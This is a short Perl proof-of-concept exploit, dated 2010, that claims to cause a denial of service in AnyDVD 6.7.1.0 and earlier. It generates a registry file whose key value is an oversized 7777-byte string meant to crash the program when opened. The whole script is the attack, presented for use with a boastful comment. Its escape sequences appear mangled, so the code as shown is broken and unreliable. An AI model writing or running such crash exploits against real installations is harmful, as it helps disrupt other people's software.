#!/usr/bin/perl
#AnyDVD <= 6.7.1.0 Denial Of Service Vulnerability
#By Havok, from France. (c'est les vacances o/. Mais y a plus d'essence :(. Rime de leet spotted :P).
#23/10/2010
#Tested on Windows XP SP3.
#Software still available here at the moment : http://static.slysoft.com/SetupAnyDVD.exe
#It seems that RegAnyDVD.exe is our friend. :)

my $w00T_omg= "x41" x 7777;
open(file,">DoS.AnyDVD");
print file "REGEDIT4nn";
print file "[HKEY_LOCAL_MACHINE\Software\SlySoft\AnyDVD\Key]n";
print file ""Key"="$w00T_omg"";
print "The file has been created successfully. Open it and BOOM. Cheers!";
close(file);